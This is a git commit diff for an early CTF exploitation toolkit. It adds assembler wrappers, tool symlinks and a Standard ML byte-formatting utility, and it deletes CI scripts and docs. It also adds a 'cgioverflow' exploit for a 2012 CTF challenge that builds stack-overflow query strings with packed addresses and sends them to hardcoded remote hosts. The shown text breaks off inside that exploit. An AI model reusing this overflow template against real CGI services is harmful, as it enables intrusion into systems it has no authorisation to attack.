handle attaching by name correctly

Conflicts:
	visualization/visualedit.py

.gitattributes

@@ -1 +0,0 @@
-pwnlib/data/* linguist-vendored

.gitignore

@@ -4,9 +4,3 @@
 *~
 *.pdf
 */auto/*
-*/bin/*
-docs/build
-build
-MANIFEST
-dist
-pwntools.egg-info

.gitmodules

@@ -0,0 +1,3 @@
+[submodule "lib/rpyc"]
+	path = lib/rpyc
+	url = https://github.com/tomerfiliba/rpyc.git

.travis.yml

@@ -1,15 +0,0 @@
-language: python
-python:
-  - "2.7"
-branches:
-  only:
-    - master
-install:
-  - source .travis_install.sh
-  - source .travis_ssh_setup.sh
-  - python -c 'from pwn import *; print pwnlib.term.term_mode' NOTERM
-  - python -c 'from pwn import *; print pwnlib.term.term_mode' NOTERM
-  - python -c 'from pwn import *; print pwnlib.term.term_mode' NOTERM
-  - python -c 'from pwn import *; print pwnlib.term.term_mode' NOTERM
-
-script: make -C docs doctest

.travis_install.sh

@@ -1,29 +0,0 @@
-#!/usr/bin/env bash
-
-setup_linux()
-{
-    sudo apt-get update
-    sudo apt-get install software-properties-common pwgen
-    sudo apt-add-repository --yes ppa:pwntools/binutils
-    sudo apt-get update
-    sudo apt-get install binutils-arm-linux-gnu binutils-mips-linux-gnu binutils-powerpc-linux-gnu
-    wget -nc http://www.capstone-engine.org/download/2.1.2/capstone-2.1.2_amd64.deb
-    (echo "a30bcb58fd82d32b135eec978eaa22230c44e722 *capstone-2.1.2_amd64.deb" | sha1sum -c) || exit
-    sudo dpkg -i *.deb
-}
-
-setup_osx()
-{
-    brew update
-    brew install binutils
-    brew install capstone
-}
-
-case $(uname) in
-Darwin) setup_osx   ;;
-Linux)  setup_linux ;;
-esac
-
-pip install -r requirements.txt
-pip install -r docs/requirements.txt
-pip install .

.travis_ssh_setup.sh

@@ -1,18 +0,0 @@
-#!/usr/bin/env bash
-#
-# Install a demo user for SSH purposes
-#
-U=demouser
-H=/home/$U
-
-sudo useradd -m $U
-ssh-keygen -t rsa -f /tmp/$U -N ''
-
-eval $(ssh-agent -s)
-ssh-add    /tmp/$U
-
-sudo -u $U mkdir $H/.ssh
-sudo -u $U cp    /tmp/$U.pub $H/.ssh/authorized_keys
-sudo chmod -R 700 $H
-
-(echo -n "$U:"; pwgen 100 1) | sudo chpasswd

CHANGELOG.md

@@ -1,18 +0,0 @@
-# Changelog
-
-This changelog only includes added major features and changes. Bugfixes and
-minor changes are omitted.
-
-## 2.2.0 - 2014-08-28 (pre)
-
-This was a large release with a lot of bugfixes and changes. Only the most significant
-are mentioned here.
-
-- Added shellcodes
-- Added phd
-- Re-added our expansion of itertools
-- Added replacements for some semi-broken python standard library modules
-- Re-implemented the rop module
-- Added a serial tube
-- Huge performance gains in the buffering for tubes
-- Re-added user agents

CONTRIBUTING.md

@@ -1,38 +0,0 @@
-# Contributing
-
-We love pull requests!
-
-Github has a great guide for contributing to open source projects:
-
-- [Contributing to a project](https://guides.github.com/activities/forking/)
-- [Fork the repository](https://guides.github.com/activities/forking/#fork)
-- [Clone your fork](https://guides.github.com/activities/forking/#clone)
-- [Making and pushing changes](https://guides.github.com/activities/forking/#making-changes)
-- [Making a Pull Request](https://guides.github.com/activities/forking/#making-a-pull-request)
-- [Huzzah!](https://guides.github.com/activities/forking/#huzzah)
-
-## Pwntools Specifics
-
-In general, we like to keep things documented.  You should add documentation to any new functionality, and update it for any changed functionality.  Our docstrings use the [Google Style Python Docstrings](https://sphinxcontrib-napoleon.readthedocs.org/en/latest/example_google.html#example-google).
-
-After you have documentation, you should add a [doctest](https://docs.python.org/2/library/doctest.html).
-
-Finally, it is probably a good idea to run the test suite locally before doing
-the pull-request to make sure everything works, however this is not a
-requirement.
-
-Once you do the pull-request Travis CI will run the test-suite on it. Once it
-passes one of the core developers will look at your pull request, possibly
-comment on it and then hopefully merge it into master.
-
-## Test Suite
-
-To run the test suite, you should be running Ubuntu 12.04 or 14.04, and run the following commands.  **Be aware** that this will add a user to your machine, and create a public key for SSH login!
-
-```sh
-bash .travis_install.sh
-bash .travis_ssh_setup.sh
-cd docs
-pip install -r requirements.txt
-make doctest
-```

LICENSE-pwntools.txt

@@ -1,34 +0,0 @@
-TL;DR version:
-   Everything in pwntools is open source. Most is under an MIT license, but a
-   few pieces are under GPL or a BSD 2-clause licence.
-
-This license covers everything within this project, except for a few pieces
-of code that we either did not write ourselves or which we derived from code
-that we did not write ourselves. These few pieces have their license specified
-in a header, or by a file called LICENSE.txt, which will explain exactly what
-it covers. The few relevant pieces of code are all contained inside these
-directories:
-
-- pwnlib/constants/
-- pwnlib/data/
-
-
-Copyright (c) 2013 Gallopsled
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.

MANIFEST.in

@@ -1 +0,0 @@
-include *.txt

README

@@ -0,0 +1,2 @@
+ 1. Add the `lib' directory to your PYTHONPATH
+ 2. Whine on #pwnies on freenode.net when stuff doesn't work

README.md

@@ -1,56 +0,0 @@
-# pwntools - CTF toolkit
-[![Docs latest](https://readthedocs.org/projects/pwntools/badge/)](https://pwntools.readthedocs.org/en/latest)
-[![Docs 2.1.3](https://readthedocs.org/projects/pwntools/badge/?version=2.1.3)](https://pwntools.readthedocs.org/en/2.1.3)
-[![PyPI](https://img.shields.io/pypi/v/pwntools.svg)](https://pypi.python.org/pypi/pwntools/)
-[![Gittip](https://img.shields.io/gittip/gallopsled.svg)](https://www.gittip.com/gallopsled/)
-[![Travis](https://travis-ci.org/Gallopsled/pwntools.svg)](https://travis-ci.org/Gallopsled/pwntools)
-
-This is the CTF framework used by Gallopsled in every CTF.
-
-```python
-from pwn import *
-context(arch = 'i386', os = 'linux')
-
-r = remote('exploitme.example.com', 31337)
-# EXPLOIT CODE GOES HERE
-r.send(asm(shellcraft.sh()))
-r.interactive()
-```
-
-However we have made command-line frontends for some of the functionality
-in `pwnlib`. These are:
-
-* `asm`/`disasm`: Small wrapper for various assemblers.
-* `constgrep`: Tool for finding constants defined in header files.
-* `cyclic`: De Bruijn sequence generator and lookup tool.
-* `hex`/`unhex`: Command line tools for doing common hexing/unhexing operations.
-* `shellcraft`: Frontend to our shellcode.
-* `phd`: Replacement for `hexdump` with colors.
-
-# Documentation
-Our documentation is available at [pwntools.readthedocs.org](https://pwntools.readthedocs.org/en/latest/)
-
-To get you started, we've provided some example solutions for past CTF challenges in our [write-ups repository](https://github.com/Gallopsled/pwntools-write-ups).
-
-# Installation
-
-pwntools is best supported on Ubuntu 12.04 and 14.04, but most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
-
-Most of the functionality of pwntools is self-contained and Python-only.  You should be able to get running quickly with
-
-```sh
-pip install pwntools
-```
-
-However, some of the features (ROP generation and assembling/disassembling foreign architectures) require non-Python dependencies.  For more information, see the [complete installation instructions here](https://pwntools.readthedocs.org/en/latest/install.html).
-
-
-# Contribution
-
-See [CONTRIBUTING.md](CONTRIBUTING.md)
-
-# Contact
-If you have any questions not worthy of a [bug report](https://github.com/Gallopsled/pwntools/issues), feel free to join us
-at [`#gallopsled` on Freenode](irc://irc.freenode.net/gallopsled) and ask away.
-Click [here](https://kiwiirc.com/client/irc.freenode.net/gallopsled) to connect.
-

asm/asm

@@ -0,0 +1,54 @@
+#!/usr/bin/python
+
+import argparse, tempfile, sys, subprocess, os
+
+parser = argparse.ArgumentParser()
+parser.add_argument('lines', metavar='line', nargs='*', help='Lines to assemble. If none are supplied, use stdin')
+parser.add_argument("-b", "--bits", help="The assembly mode", choices=[16,32,64], default=32, type=int)
+parser.add_argument("-f", "--format", help="Output format (defaults to hex for ttys, otherwise raw)", choices=['raw', 'hex'])
+parser.add_argument("-o", metavar='file', help="Output file (defaults to stdout)", type=argparse.FileType('w'), default=sys.stdout)
+parser.add_argument("-O", metavar='level', help="Optimization options to pass to nasm", choices = ['0', '1', 'x'], default='x')
+args = parser.parse_args()
+
+if args.format == None:
+    if args.o.isatty():
+        args.format = 'hex'
+    else:
+        args.format = 'raw'
+
+tmp = tempfile.NamedTemporaryFile(suffix='.asm')
+tmpname = tmp.name
+
+tmp.write('[BITS %d]\n' % args.bits)
+
+if len(args.lines) > 0:
+    tmp.write('\n'.join(args.lines))
+else:
+    tmp.write(sys.stdin.read())
+
+tmp.flush()
+
+try:
+    retval = subprocess.call(['nasm', '-O' + args.O, '-o', tmpname + '.out', tmpname], stdout=sys.stderr, stderr=sys.stderr)
+    tmp.close()
+
+    if retval != 0:
+        sys.exit(retval)
+
+    with open(tmpname + '.out') as f:
+        output = f.read()
+
+    if args.format == 'raw':
+        args.o.write(output)
+    elif args.format == 'hex':
+        args.o.write(output.encode('hex') + '\n')
+    else:
+        raise Exception("Unknown output format") # This really shouldn't happen
+
+    args.o.flush()
+
+finally:
+    try:
+        os.unlink(tmpname + '.out')
+    except:
+        pass

asm/disasm

@@ -0,0 +1,19 @@
+#!/usr/bin/python
+
+import argparse, tempfile, sys, subprocess, os, readline
+
+parser = argparse.ArgumentParser()
+parser.add_argument('hex', metavar='hex', nargs='?', help='Hex-string to disasemble. If none are supplied, then it uses stdin in non-hex mode.')
+parser.add_argument("-b", "--bits", help="The disassembly mode", choices=['16','32','64'], default='32')
+args = parser.parse_args()
+
+tmp = tempfile.NamedTemporaryFile(suffix='.bin')
+tmpname = tmp.name
+
+if args.hex != None:
+    tmp.write(args.hex.decode("hex"))
+else:
+    tmp.write(sys.stdin.read())
+
+tmp.flush()
+sys.exit(subprocess.call(['ndisasm', '-b' + args.bits, tmpname], stdout=sys.stderr, stderr=sys.stderr))

bin/asm

@@ -0,0 +1 @@
+../asm/asm

bin/binvis

@@ -0,0 +1 @@
+../visualization/binvis.py

bin/bytes

@@ -0,0 +1 @@
+../bytes/bin/bytes

bin/crop

@@ -0,0 +1 @@
+../crop/bin/crop

bin/cyclic

@@ -0,0 +1 @@
+../cyclic/cyclic

bin/demo32

@@ -0,0 +1 @@
+../demo/demo32

bin/demo64

@@ -0,0 +1 @@
+../demo/demo64

bin/dictgen

@@ -0,0 +1 @@
+../dictgen/dictgen

bin/disasm

@@ -0,0 +1 @@
+../asm/disasm

bin/gadgets

@@ -0,0 +1 @@
+../gadgets/gadgets

bin/getdata

@@ -0,0 +1 @@
+../pil/getdata

bin/hex

@@ -0,0 +1 @@
+../hex/hex

bin/mags

@@ -0,0 +1 @@
+../mags/mags

bin/nops

@@ -0,0 +1 @@
+../nops/nops

bin/peek

@@ -0,0 +1 @@
+../poke/peek

bin/poke

@@ -0,0 +1 @@
+../poke/poke

bin/randomua

@@ -0,0 +1 @@
+../randomua/randomua

bin/scramble

@@ -0,0 +1 @@
+../scramble/scramble

bin/setdata

@@ -0,0 +1 @@
+../pil/setdata

bin/shellcraft

@@ -0,0 +1 @@
+../shellcraft/shellcraft

bin/unhex

@@ -0,0 +1 @@
+../unhex/unhex

bin/wrap32

@@ -0,0 +1 @@
+../wrap/wrap32

bin/wrap64

@@ -0,0 +1 @@
+../wrap/wrap64

binutils/build.sh

@@ -0,0 +1,23 @@
+#!/bin/bash
+
+# This script was used to generate the binaries in this folder
+# Its mostly untested and probably assumes stuff about the system it runs on
+#
+# USE WITH CAUTION
+
+if [ -z "$1" ]; then
+  echo "Usage: $0 target"
+  exit 0
+fi
+
+TARGET="$1"
+
+export CFLAGS="-m32 -Os -fno-exceptions -fno-asynchronous-unwind-tables -fno-unwind-tables -ffunction-sections -fdata-sections -Wl,--gc-sections -Wno-error=unused-but-set-variable -Wno-error=format-security"
+export MAKEFLAGS='-j 4'
+cd ~/src; rm -rf binutils-"$TARGET"-build; mkdir binutils-"$TARGET"-build; cd binutils-"$TARGET"-build/
+time { ../binutils-2.22/configure --disable-libquadmath  --disable-libquadmath-support --disable-nls --enable-no_exceptions --enable-no_rtti  --disable-ppl-version-check --disable-cloog-version-check  --disable-foo --without-fp --disable-intl --disable-gprof --disable-ld --target="$TARGET"-linux; make; make; } || exit 1
+for f in gas/as-new binutils/objdump binutils/objcopy; do
+  strip -s --strip-all --remove-section=.comment --remove-section=.note $f
+  upx -qqq --best --ultra-brute $f
+  du -hs $f
+done

bytes/Makefile

@@ -0,0 +1,4 @@
+.PHONY: all
+all:
+	premlton src/bytes.mlb
+	mv src/bytes bin/bytes

bytes/src/Log.sig

@@ -0,0 +1,16 @@
+signature Log =
+sig
+  datatype level = Debug
+                 | Verbose
+                 | Chatty
+                 | Normal
+                 | Quiet
+  val setLevel : level -> unit
+  val setIndentation : int -> unit
+  val indent : int -> unit
+  val debug : string -> unit
+  val verbose : string -> unit
+  val chatty : string -> unit
+  val normal : string -> unit
+  val warning : string -> unit
+end

bytes/src/Log.sml

@@ -0,0 +1,49 @@
+structure Log :> Log =
+struct
+datatype level = Debug
+               | Verbose
+               | Chatty
+               | Normal
+               | Quiet
+
+val level = ref Normal
+val ind = ref 0
+
+fun setLevel l = level := l
+
+fun setIndentation n = ind := n
+
+fun indent n = ind := (!ind + n)
+
+fun print s = if !ind > 0
+              then println (String.spaces (!ind) ^ s)
+              else println s
+
+fun debug s =
+    if !level = Debug
+    then print s
+    else ()
+
+fun verbose s =
+    if !level = Verbose
+    then print s
+    else debug s
+
+fun chatty s =
+    if !level = Chatty
+    then print s
+    else verbose s
+
+fun normal s =
+    if !level <> Quiet
+    then print s
+    else ()
+
+fun warning s =
+    (TextIO.output (TextIO.stdErr,
+                    if !level = Quiet
+                    then s ^ "\n"
+                    else String.spaces (!ind) ^ s ^ "\n"
+                   )
+   ; TextIO.flushOut TextIO.stdErr)
+end

bytes/src/bytes.mlb

@@ -0,0 +1,10 @@
+local
+$(SML_LIB)/basis/basis.mlb
+../mylib/MyLib.mlb
+in
+Log.sig
+Log.sml
+
+%pre main.sml
+%pre go.sml
+end

bytes/src/go.sml

@@ -0,0 +1,188 @@
+val version = "0.0.1"
+
+fun usage name =
+    map println
+        ["usage: % [options] [file]" <- name
+       , ""
+       , "Options: (default marked by *)"
+       , "  -r, --radix"
+       , "   *a  Auto"
+       , "    b  Binary"
+       , "    o  Octal"
+       , "    d  Decimal"
+       , "    h  Hexadecimal"
+       , "  -u, --unsigned"
+       , "  -p, --plain"
+       , "  -g, --groupsize"
+       , "   *a  Auto"
+       , "    n  Groups of n bytes"
+       , "  -e, --endian"
+       , "   *l  Little"
+       , "    b  Big"
+       , "  -i, --inter-byte-endian"
+       , "    l  Little"
+       , "   *b  Big"
+       , "  -o <file>"
+        ]
+
+fun printVersionAndExit () = (println ("bytes version " ^ version)
+                           ; OS.Process.exit OS.Process.success)
+fun printUsageAndExit () = (usage $ CommandLine.name ()
+                          ; OS.Process.exit OS.Process.success)
+fun die e = (Log.warning e ; OS.Process.exit OS.Process.failure)
+
+local
+  val radix = ref NONE
+  val unsigned = ref false
+  val plain = ref false
+  val groupsize = ref NONE
+  val endian = ref Little
+  val bendian = ref Big
+  val src = ref NONE
+  val dst = ref NONE
+  fun setRadix x = radix := SOME x
+  fun setUnsigned () = unsigned := true
+  fun setPlain x = plain := true
+  fun setGroupsize x = groupsize := SOME x
+  fun setBendian x = bendian := x
+  fun setEndian x = endian := x
+  fun setSrc x = case !src of
+                   SOME s => raise Fail ("Only one source file allowed \
+                                         \(you already told me '" ^ s ^ "')")
+                 | NONE => src := SOME x
+  fun setDst x = dst := SOME x
+  fun getOpt () =
+      let
+        val src = case !src of
+                    SOME "-" => TextIO.stdIn
+                  | SOME f   => TextIO.openIn f
+                  | NONE     => printUsageAndExit ()
+        val dst = case !dst of
+                    SOME f => TextIO.openOut f
+                  | NONE   => TextIO.stdOut
+      in
+        (!radix, !unsigned, !plain, !groupsize, !endian, !bendian, src, dst)
+      end
+      handle IO.Io {cause = OS.SysErr (desc, _), name, ...} =>
+             raise Fail (desc ^ ": '" ^ name ^ "'")
+in
+
+fun parseArgs args =
+    let open Parser val op >>= = op --> infix >>> ||| --|
+      fun unknownOpt k v =
+          raise Fail ("Unknown option (%): %" <- k <- v)
+      val args =
+          List.concatMap
+            (fn arg =>
+                case explode arg of
+                  #"-" :: c :: cs =>
+                  if c <> #"-" andalso not $ null cs
+                  then [String.substring (arg, 0, 2)
+                      , String.extract (arg, 2, NONE)]
+                  else [arg]
+                | _ => [arg])
+            args
+
+      val radix =
+          do tok <- any
+           ; return
+             (case tok of
+                "binary"      => setRadix Bin
+              | "b"           => setRadix Bin
+              | "octal"       => setRadix Oct
+              | "o"           => setRadix Oct
+              | "decimal"     => setRadix Dec
+              | "d"           => setRadix Dec
+              | "hexadecimal" => setRadix Hex
+              | "h"           => setRadix Hex
+              | "auto"        => ()
+              | "a"           => ()
+              | _             => unknownOpt "--radix" tok
+             )
+          end
+
+      val groupsize =
+          do tok <- any
+           ; return
+               (case Int.fromString tok of
+                  SOME n => setGroupsize n
+                | NONE   =>
+                  case tok of
+                    "a"    => ()
+                  | "auto" => ()
+                  | _      => unknownOpt "--groupsize" tok
+               )
+          end
+
+      val endian =
+          any >>>
+              (fn "l"      => setEndian Little
+                | "little" => setEndian Little
+                | "b"      => setEndian Big
+                | "big"    => setEndian Big
+                | tok      => unknownOpt "--endian" tok
+              )
+
+      val bendian =
+          any >>>
+              (fn "l"      => setBendian Little
+                | "little" => setBendian Little
+                | "b"      => setBendian Big
+                | "big"    => setBendian Big
+                | tok      => unknownOpt "--inter-byte-endian" tok
+              )
+
+      fun help ? = (return $ printUsageAndExit ()) ?
+
+      val one =
+          do tok <- any
+           ; case tok of
+               "--radix"             => radix
+             | "-r"                  => radix
+             | "--unsigned"          => return $ setUnsigned ()
+             | "-u"                  => return $ setUnsigned ()
+             | "--plain"             => return $ setPlain ()
+             | "-p"                  => return $ setPlain ()
+             | "--groupsize"         => groupsize
+             | "-g"                  => groupsize
+             | "--endian"            => endian
+             | "-e"                  => endian
+             | "--inter-byte-endian" => bendian
+             | "-i"                  => bendian
+             | "-o"                  => any >>> setDst
+             | "--help"              => help
+             | "-h"                  => help
+             | "-?"                  => help
+             | "--version"           => return $ printVersionAndExit ()
+             | _                     => return $ setSrc tok
+          end
+      val parse =
+          do many' one
+           ; eof
+          end
+    in
+      case Parse.list parse args of
+        Right _ => getOpt ()
+      | Left ({token = SOME x, ...} :: _) =>
+        raise Fail ("Could not parse command line arguments\
+                    \ (failed on '" ^ x ^ "')")
+      | Left _ =>
+        raise Fail ("Could not parse command line arguments")
+    end
+end
+
+fun verify (args as (radix, unsigned, plain, groupsize, endian, bendian, _, _)) =
+    ((if plain andalso (radix = SOME Oct orelse radix = SOME Dec)
+      then raise Fail "Only hex and binary allowed in plain mode"
+      else ())
+   ; Option.map (fn n => if n <= 0
+                         then raise Fail "Groupsize must be strictly positive"
+                         else ()) groupsize
+   ; args
+    )
+
+fun go () =
+    main $ verify $ parseArgs $ CommandLine.arguments ()
+    handle Fail s => die s
+
+val _ = go ()

bytes/src/main.sml

@@ -0,0 +1,226 @@
+fun impossible s = raise Fail $ "Impossible: %" <- s
+
+datatype radix
+  = Bin
+  | Oct
+  | Dec
+  | Hex
+
+datatype format
+  = Plain
+
+datatype endian
+  = Little
+  | Big
+
+fun main (radix, unsigned, plain, groupsize, endian, bendian, src, dst) =
+    let open Parser val op >>= = op -->
+      open (oneOf, noneOf, char, string, strings, whitespace, alphaNum) Text
+      infix 0 |||
+      infix 1 --- |-- --| ^^^ ::: @@@
+      infix 2 >>> >>= ??? produce underlies
+      open IntInf
+
+      fun offset n c = fromInt $ Int.- (ord c, n)
+
+      val bindig =
+          oneOf "01" >>> offset 0x30
+
+      val octdig =
+          oneOf "01234567" >>> offset 0x30
+
+      val decdig =
+          oneOf "0123456789" >>> offset 0x30
+
+      val hexdig =
+          oneOf "0123456789" >>> offset 0x30
+      ||| oneOf "abcdef" >>> offset 0x57
+      ||| oneOf "ABCDEF" >>> offset 0x37
+
+      val bin = many1 bindig
+      val oct = many1 octdig
+      val dec = many1 decdig
+      val hex = many1 hexdig
+
+      fun signed p = do oneOf "-~"
+                      ; (b, _, n) <- p
+                      ; return (b, ~1, n)
+                     end ||| p
+
+      fun valuate (b, s, ns) = s * foldl (fn (d, s) => s * b + d) 0 ns
+
+      fun read strm = Option.map (, strm) $ TextIO.input1 src
+
+      fun write1 b =
+          TextIO.output1 (dst, chr $ Int.fromLarge b)
+
+      fun groups n e xs =
+          (if e = Little then rev else id) (List.take (xs, n)) ::
+          groups n e (List.drop (xs, n))
+          handle Subscript => []
+
+      fun goPlain () =
+        let
+          val groupsize = getOpt (groupsize, 1)
+          (* val radix = getOpt (radix, Hex) *)
+          (* a byte is `n` base `b` digits in `e` endian order *)
+          fun go n b =
+              app write1 o
+              List.concat o
+              groups groupsize endian o
+              map (valuate o (b, 1, )) o
+              groups n bendian o
+              List.concat
+        in
+          case radix of
+            SOME Hex =>
+            do whitespace
+             ; ds <- many $ Lex.lexeme hex
+             ; eof
+             ; return $ go 2 16 ds
+            end
+          | SOME Bin =>
+            do whitespace
+             ; ds <- many $ Lex.lexeme bin
+             ; eof
+             ; return $ go 8 2 ds
+            end
+          | NONE =>
+            do whitespace
+             ; ds <- many $ Lex.lexeme hex
+             ; eof
+             ; return (
+               if List.all (List.all (fn d => d = 0 orelse d = 1)) ds
+               then go 8 2 ds
+               else go 2 16 ds
+               )
+            end
+          | _ => impossible "main.goPlain"
+        end
+
+      fun goAuto () =
+          let
+            val auto = try do strings ["0x", "0X", "\\x", "\\X"]
+                            ; hex >>> (SOME 16, 1,)
+                           end |||
+                       try do d <- decdig
+                            ; ds <- hex
+                            ; char #"h"
+                            ; return (SOME 16, 1, ds)
+                           end |||
+                       try do ds <- oct
+                            ; char #"o"
+                            ; return (SOME 8, 1, ds)
+                           end |||
+                       (* try do char #"0" *)
+                       (*      ; oct >>> (SOME 8, 1,) *)
+                       (*     end ||| *)
+                       try do char #"\\"
+                            ; count 3 octdig >>> (SOME 8, 1,)
+                           end |||
+                       hex >>> (NONE, 1,)
+
+            val num =
+                (if unsigned then id else signed)
+                  (case radix of
+                     NONE     => auto
+                   | SOME Bin => bin >>> (SOME 2, 1,)
+                   | SOME Oct => oct >>> (SOME 8, 1,)
+                   | SOME Dec => dec >>> (SOME 10, 1,)
+                   | SOME Hex => hex >>> (SOME 16, 1,)
+                  )
+
+            fun autosize ns =
+                let
+                  val (min, max) = foldl (fn (x, (min, max)) =>
+                                             if x < min then (x, max)
+                                             else if x > max then (min, x)
+                                             else (min, max)) (0, 0) ns
+                  fun isZero n = sign n = 0
+                  fun log n =
+                      if isZero n
+                      then 0
+                      else Int.+ (1, log (n div 256))
+                in
+                  Int.max(1, if min < 0
+                             then log (max - min)
+                             else log max)
+                end
+
+            fun autobase ns =
+                case List.partition (fn (mbb, _, _) => mbb <> NONE) ns of
+                  (nil, ns) =>
+                  let
+                    val max = foldl IntInf.max 0
+                    val b = max $ map (fn (_, _, ds) => max ds) ns
+                    val b = case (b >= 10, b >= 2) of
+                              (true, _) => 16
+                            | (_, true) => 10
+                            | _         =>  2
+                  in
+                    map (fn (_, s, ns) => (b, s, ns)) ns
+                  end
+                | (ns, _) => map (fn (mbb, s, ns) => (valOf mbb, s, ns)) ns
+
+            val isbits = List.all (fn (b, s, ns) => b = 2 andalso
+                                                    s = 1 andalso
+                                                    length ns = 1)
+
+            (* Negative numbers just work magically *)
+            fun write n x =
+                let
+                  fun loop 0 _ = []
+                    | loop n x =
+                      let
+                        val (b, x') = (x mod 256
+                                     , x div 256)
+                      in
+                        b :: loop (Int.- (n, 1)) x'
+                      end
+                in
+                  case endian of
+                    Little => app write1 $ loop n x
+                  | Big    => app write1 $ rev $ loop n x
+                end
+
+            fun binary ns =
+                let
+                  val groupsize = case groupsize of
+                                    NONE   => 1
+                                  | SOME n => n
+                  val bits = map (fn (_, _, ds) => hd ds) ns
+                  val bytes = map (valuate o (2, 1,)) $ groups 8 bendian bits
+                  val words = List.concat $ groups groupsize endian bytes
+                in
+                  app write1 words
+                end
+
+            fun regular ns =
+                let
+                  val vs = map valuate ns
+                  val groupsize = case groupsize of
+                                    NONE   => autosize vs
+                                  | SOME n => n
+                in
+                  app (write groupsize) vs
+                end
+          in
+            do ns <- many $ match num
+             ; ns := autobase ns
+             ; return (if isbits ns
+                       then binary ns
+                       else regular ns)
+            end
+          end
+
+      val go =
+          if plain
+          then goPlain ()
+          else try (goPlain ()) ||| goAuto ()
+    in
+      Parse.testString go $ TextIO.inputAll src
+      (* test (fn c => "'" ^ str c ^ "'") *)
+      (*      go *)
+      (*      (Option.map (, src) o TextIO.input1) *)
+      (*      src *)
+    end

cgioverflow/README

@@ -0,0 +1,2 @@
+Files used to exploit the CGI binary in the kielbasa challenge from secuinside 2012.
+Can be used as a template for exploiting CGI binaries by stack overflow.

cgioverflow/captcha-do.sh

@@ -0,0 +1,10 @@
+#!/bin/sh
+echo wpxlc7BG > log/1339253868.log
+export REQUEST_METHOD="GET"
+export REMOTE_ADDR=127.0.0.1
+export REMOTE_PORT=4242
+export HTTP_USER_AGENT=awesome
+export QUERY_STRING='q=sent&t_s=133925386800000000000000000000009&v=wpxlc7BG000000000000000000000000xxxxxxxxxxxxxxxxxxxxxxxx1'
+#./captcha.cgi
+gdbserver --once localhost:23946 ./captcha.cgi
+#./handle_sent

cgioverflow/exploit.py

@@ -0,0 +1,19 @@
+#!/usr/bin/env python3
+import sys
+import kielbasa
+
+if len(sys.argv) > 1:
+	ts = bytes(sys.argv[1], 'ASCII')
+else:
+	ts = b'1339253868'
+if len(sys.argv) > 2:
+	v = bytes(sys.argv[2], 'ASCII')
+else:
+	v = b'wpxlc7BG'
+
+f = open('log/'+str(ts, 'ASCII')+'.log', 'wb')
+f.write(v)
+f.close()
+
+(ts_par, v_par) = kielbasa.exploit1_qs(ts, v)
+print(str(kielbasa.request_remote('sent', ts_par, v_par, debug=False), 'UTF-8'))

cgioverflow/kielbasa.py

@@ -0,0 +1,104 @@
+import socket
+import re
+import struct
+import os
+import sys
+from subprocess import Popen
+from subprocess import PIPE
+
+def is_digit(c):
+	return not b'ERROR t_s digit' in request('sent', bytes([c]), None)
+
+def _make_querystring(q, t_s = None, v = None):
+	qs = b'?q=' + bytes(q, 'ASCII')
+	if t_s != None:
+		qs += b'&t_s=' + t_s
+	if v != None:
+		qs += b'&v=' + v
+	return qs
+
+def request(q, t_s = None, v = None, useragent = None, remote=True, debug=False):
+	if remote:
+		return request_remote(q, t_s, v, useragent)
+	else:
+		return request_local(q, t_s, v, useragent, debug)
+
+
+def request_remote(q,t_s = None, v = None, useragent = None, debug = False):
+	if debug:
+		path='/cgi-bin/captcha-debug.cgi'
+		host='10.10.10.245'
+	else:
+		path='/captcha/captcha.cgi'
+		host='61.42.25.20'
+	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+	s.connect((host, 80))
+	req = b'GET ' + bytes(path, 'ASCII')
+	req += _make_querystring(q,t_s,v)
+	s.sendall(req + b' HTTP/1.1\r\n')
+	s.sendall(b'Host: ' + bytes(host, 'ASCII') + b'\r\n')
+	if useragent != None:
+		s.sendall(b'User-Agent: '+useragent+b'\r\n')
+	else:
+		s.sendall(b'User-Agent: foobar\r\n')
+	s.sendall(b'\r\n')
+	buf = b''
+	while True:
+		chunk = s.recv(1024)
+		if chunk == b'':
+			break
+		buf += chunk
+	return buf
+
+
+def request_local(q,t_s = None, v = None, useragent = None, debug=False):
+	if debug:
+		args = ['/usr/bin/gdbserver', '--once', 'localhost:23946', './captcha.cgi']
+	else:
+		args = ['./captcha.cgi']
+	env = {
+		'REQUEST_METHOD': 'GET',
+		'REMOTE_ADDR': '127.0.0.1',
+		'REMOTE_PORT': '4242',
+		'HTTP_USER_AGENT': useragent if useragent != None else 'foobar',
+		'QUERY_STRING': _make_querystring(q,t_s,v),
+		'PATH': os.environ['PATH']
+	}
+	p = Popen(args, bufsize = 4096, env = env,
+	          stdin=PIPE, stdout=PIPE, stderr=PIPE)
+	buf = b''
+	while True:
+		chunk = p.stdout.read(1024)
+		if chunk == b'':
+			break
+		buf += chunk
+	return buf
+	
+
+def overflow_qs(t_s, v, user_agent, t_s_buf_pointer, remote_port, name_100_buffer, remote_addr, mmap_flags, use_malloc, pad_ts, pad_v, pad_flags = b'xxx'):
+	overflow_size = b'9' if use_malloc else b'7'
+	t_s_param = t_s + bytes.ljust(pad_ts, 22, b'0') + overflow_size
+	v_param = v + bytes.ljust(pad_v, 24, b'0')
+	v_param += struct.pack('<L', user_agent)
+	v_param += struct.pack('<L', t_s_buf_pointer)
+	v_param += struct.pack('<L', remote_port)
+	v_param += struct.pack('<L', name_100_buffer)
+	v_param += struct.pack('<L', remote_addr)
+	v_param += bytes.ljust(pad_flags, 3, b'x')
+	v_param += struct.pack('B', mmap_flags)
+	if use_malloc:
+		v_param += b'1'
+	return (t_s_param, v_param)
+
+def exploit1_qs(t_s, v):
+	str1_pos = 0x08049701
+	null1_pos = 0x08049734
